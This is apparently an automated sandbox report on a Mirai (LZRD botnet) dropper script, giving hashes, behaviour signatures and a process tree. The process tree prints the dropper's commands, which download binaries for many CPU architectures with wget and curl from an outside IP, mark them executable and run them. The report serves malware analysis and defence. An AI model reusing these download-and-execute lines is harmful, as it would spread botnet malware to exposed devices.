Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10-11-2024 02:45

General

  • Target

    951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh

  • Size

    2KB

  • MD5

    f0daa2dd315e06f5d6dc4b15fa4cdea9

  • SHA1

    23761746f0128a46fb08f77ba85047bf27402b32

  • SHA256

    951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed

  • SHA512

    c198adb63fc6f58d09fa2e34c34ab9b8da63b45d3536ee881a5ddb2c8bccf78fc0550f1863b3fc6e15574aca46ea460e70f75d9c182524448f92960f4768bfac

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh
    /tmp/951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh
    1⤵
    • Writes file to tmp directory
    PID:703
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:708
    • /usr/bin/wget
      wget http://198.12.107.126/bins/camp.arc
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/curl
      curl -O http://198.12.107.126/bins/camp.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:728
    • /bin/cat
      cat camp.arc
      2⤵
        PID:732
      • /bin/chmod
        chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/Chaotic
        ./Chaotic
        2⤵
        • Executes dropped EXE
        PID:734
      • /usr/bin/wget
        wget http://198.12.107.126/bins/camp.x86
        2⤵
        • Writes file to tmp directory
        PID:736
      • /usr/bin/curl
        curl -O http://198.12.107.126/bins/camp.x86
        2⤵
        • Writes file to tmp directory
        PID:737
      • /bin/cat
        cat camp.x86
        2⤵
          PID:738
        • /bin/chmod
          chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.x86 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/Chaotic
          ./Chaotic
          2⤵
          • Executes dropped EXE
          PID:740
        • /usr/bin/wget
          wget http://198.12.107.126/bins/camp.x86_64
          2⤵
          • Writes file to tmp directory
          PID:742
        • /usr/bin/curl
          curl -O http://198.12.107.126/bins/camp.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:747
        • /bin/cat
          cat camp.x86_64
          2⤵
            PID:755
          • /bin/chmod
            chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.x86 camp.x86_64 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/Chaotic
            ./Chaotic
            2⤵
            • Executes dropped EXE
            PID:758
          • /usr/bin/wget
            wget http://198.12.107.126/bins/camp.i686
            2⤵
            • Writes file to tmp directory
            PID:762
          • /usr/bin/curl
            curl -O http://198.12.107.126/bins/camp.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:768
          • /bin/cat
            cat camp.i686
            2⤵
              PID:778
            • /bin/chmod
              chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.i686 camp.x86 camp.x86_64 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
              2⤵
              • File and Directory Permissions Modification
              PID:779
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:780
            • /usr/bin/wget
              wget http://198.12.107.126/bins/camp.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:783
            • /usr/bin/curl
              curl -O http://198.12.107.126/bins/camp.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/cat
              cat camp.mips
              2⤵
              • System Network Configuration Discovery
              PID:801
            • /bin/chmod
              chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.i686 camp.mips camp.x86 camp.x86_64 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:803
            • /usr/bin/wget
              wget http://198.12.107.126/bins/camp.mips64
              2⤵
              • System Network Configuration Discovery
              PID:805
            • /usr/bin/curl
              curl -O http://198.12.107.126/bins/camp.mips64
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:806
            • /bin/cat
              cat camp.mips64
              2⤵
              • System Network Configuration Discovery
              PID:807
            • /bin/chmod
              chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.i686 camp.mips camp.mips64 camp.x86 camp.x86_64 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/Chaotic
              ./Chaotic
              2⤵
              • Executes dropped EXE
              PID:809
            • /usr/bin/wget
              wget http://198.12.107.126/bins/camp.mpsl
              2⤵
              • Writes file to tmp directory
              PID:810
            • /usr/bin/curl
              curl -O http://198.12.107.126/bins/camp.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:811
            • /bin/cat
              cat camp.mpsl
              2⤵
                PID:821
              • /bin/chmod
                chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic systemd-private-c038ab73a7314dd9bf862cee98886353-systemd-timedated.service-gcLFVt
                2⤵
                • File and Directory Permissions Modification
                PID:823
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:824
              • /usr/bin/wget
                wget http://198.12.107.126/bins/camp.arm
                2⤵
                • Writes file to tmp directory
                PID:853
              • /usr/bin/curl
                curl -O http://198.12.107.126/bins/camp.arm
                2⤵
                • Writes file to tmp directory
                PID:854
              • /bin/cat
                cat camp.arm
                2⤵
                  PID:855
                • /bin/chmod
                  chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:856
                • /tmp/Chaotic
                  ./Chaotic
                  2⤵
                  • Executes dropped EXE
                  PID:857
                • /usr/bin/wget
                  wget http://198.12.107.126/bins/camp.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:859
                • /usr/bin/curl
                  curl -O http://198.12.107.126/bins/camp.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:860
                • /bin/cat
                  cat camp.arm5
                  2⤵
                    PID:861
                  • /bin/chmod
                    chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic
                    2⤵
                    • File and Directory Permissions Modification
                    PID:862
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:863
                  • /usr/bin/wget
                    wget http://198.12.107.126/bins/camp.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:865
                  • /usr/bin/curl
                    curl -O http://198.12.107.126/bins/camp.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:866
                  • /bin/cat
                    cat camp.arm6
                    2⤵
                      PID:867
                    • /bin/chmod
                      chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic
                      2⤵
                      • File and Directory Permissions Modification
                      PID:868
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      PID:869
                    • /usr/bin/wget
                      wget http://198.12.107.126/bins/camp.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:871
                    • /usr/bin/curl
                      curl -O http://198.12.107.126/bins/camp.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:872
                    • /bin/cat
                      cat camp.arm7
                      2⤵
                        PID:873
                      • /bin/chmod
                        chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.x86 camp.x86_64 Chaotic
                        2⤵
                        • File and Directory Permissions Modification
                        PID:874
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        PID:875
                      • /usr/bin/wget
                        wget http://198.12.107.126/bins/camp.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:877
                      • /usr/bin/curl
                        curl -O http://198.12.107.126/bins/camp.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:878
                      • /bin/cat
                        cat camp.ppc
                        2⤵
                          PID:879
                        • /bin/chmod
                          chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.ppc camp.x86 camp.x86_64 Chaotic
                          2⤵
                          • File and Directory Permissions Modification
                          PID:880
                        • /tmp/Chaotic
                          ./Chaotic
                          2⤵
                          • Executes dropped EXE
                          PID:881
                        • /usr/bin/wget
                          wget http://198.12.107.126/bins/camp.sparc
                          2⤵
                            PID:883
                          • /usr/bin/curl
                            curl -O http://198.12.107.126/bins/camp.sparc
                            2⤵
                            • Writes file to tmp directory
                            PID:884
                          • /bin/cat
                            cat camp.sparc
                            2⤵
                              PID:885
                            • /bin/chmod
                              chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.mips camp.mips64 camp.mpsl camp.ppc camp.sparc camp.x86 camp.x86_64 Chaotic
                              2⤵
                              • File and Directory Permissions Modification
                              PID:886
                            • /tmp/Chaotic
                              ./Chaotic
                              2⤵
                              • Executes dropped EXE
                              PID:887
                            • /usr/bin/wget
                              wget http://198.12.107.126/bins/camp.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:888
                            • /usr/bin/curl
                              curl -O http://198.12.107.126/bins/camp.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:889
                            • /bin/cat
                              cat camp.m68k
                              2⤵
                                PID:890
                              • /bin/chmod
                                chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.m68k camp.mips camp.mips64 camp.mpsl camp.ppc camp.sparc camp.x86 camp.x86_64 Chaotic
                                2⤵
                                • File and Directory Permissions Modification
                                PID:891
                              • /tmp/Chaotic
                                ./Chaotic
                                2⤵
                                • Executes dropped EXE
                                PID:892
                              • /usr/bin/wget
                                wget http://198.12.107.126/bins/camp.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:894
                              • /usr/bin/curl
                                curl -O http://198.12.107.126/bins/camp.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:895
                              • /bin/cat
                                cat camp.sh4
                                2⤵
                                  PID:896
                                • /bin/chmod
                                  chmod +x 951f2e24a8f4c1102b1b8b707e3b5610e83f3a40f94c6b6fe6ba17e3ed33c7ed.sh busybox camp.arc camp.arm camp.arm5 camp.arm6 camp.arm7 camp.i686 camp.m68k camp.mips camp.mips64 camp.mpsl camp.ppc camp.sh4 camp.sparc camp.x86 camp.x86_64 Chaotic
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:897
                                • /tmp/Chaotic
                                  ./Chaotic
                                  2⤵
                                  • Executes dropped EXE
                                  PID:898

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • /tmp/Chaotic

                                Filesize

                                34KB

                                MD5

                                dac9f1dcafdb77db0d0ff1be1e704b1e

                                SHA1

                                e83605a050e0aaad3dba360545a00036f083eb91

                                SHA256

                                7fd32ee1c25ade0f67fc93e797707d956ee74c36c44c93ea8e3f00a0085e938d

                                SHA512

                                e2869500ed728e8a63947e541dc5c04edb9d581862715863334195d87f35c5207de8db7e23affe8113b2029ddbffd92364491e4291c53ecc4664fcc0244a0571

                              • /tmp/Chaotic

                                Filesize

                                36KB

                                MD5

                                62e0ec59f989335be5fbf630a49da4ea

                                SHA1

                                43bdde1afd1089008539973b08e35dd66fb7451a

                                SHA256

                                c3ae1058890bf151d5d464a608b68e2c377d4d31043e3883efb0d8a20685ab15

                                SHA512

                                ee8c5e36a0abc86c042630fcbd03f96459fe77cd8683498b77121c1a11befe59f72e3363989265317109f77df2d3c8633ccabc7e91581e3bdc363f29b8173b95

                              • /tmp/Chaotic

                                Filesize

                                35KB

                                MD5

                                4c64afb0ad73da68d0e9dc8894d97f3a

                                SHA1

                                0d3f5938508079bf9dbbe13d75d7b91e21845312

                                SHA256

                                de175c508f1a56aa4fd47e0aa8103566c46508823bd8800a71e1f354fa18db2b

                                SHA512

                                7e65132191ca5f83ac7ce6b7d63a3423175d3ab893a859c1de37fd9d22f4fd4c76cfc163405ddc6c6c2910c31831a3c0a4f3b86fa68a241c40f328823050e107

                              • /tmp/Chaotic

                                Filesize

                                37KB

                                MD5

                                adfc93deaed5f946d896d185a7a3672f

                                SHA1

                                30686df1ec33ec8941a6bd5471292ec4dfdc7522

                                SHA256

                                9ff7a99509c5186f028858692deb9b685bb196df414fad5822dec0f4efe90ccd

                                SHA512

                                94318e934aa23e1b9dfe4baa2dd1700986bea4343cf62bcac4c964876b42f70235260bc3ed4d367bf0501bfa334a5472a7307d258762cbf6d9c93b116263867f

                              • /tmp/Chaotic

                                Filesize

                                82KB

                                MD5

                                69e35fed3302be73c0de271eae2690f7

                                SHA1

                                fdfb172bdcefc5f97d642c56e3771deffa0341c6

                                SHA256

                                265c9eb70b9af05fc3e2cbeaf5a3505a76e5903b3e9286e70ba799c430f15981

                                SHA512

                                1157694bf541b030139adfc760dacee62d39d45970d958a60177b1068320a9f3501971a7b745788f99024b757e81b4304b3ff7c1c4eeb76cd194c4f681db07f2

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

                              • /tmp/camp.arc

                                Filesize

                                113KB

                                MD5

                                36a7a1e959eaf7d6896505777912ecdf

                                SHA1

                                4f9a1f8cc82036f0ffb90c6dc1c5093bca499919

                                SHA256

                                5111947e9ff3b6280e4ba90b172bf864838492b0b48d640be41f51be427c44ca

                                SHA512

                                77acb1b88c40e0f91b4ec44216b3b49161a892f6bbca2cb09fe82be1ba7f5b469008f655b46473ba53734d2610863b98f97ac3a54475837867efc3e156bf2fb0

                              • memory/824-1-0x00400000-0x0045af60-memory.dmp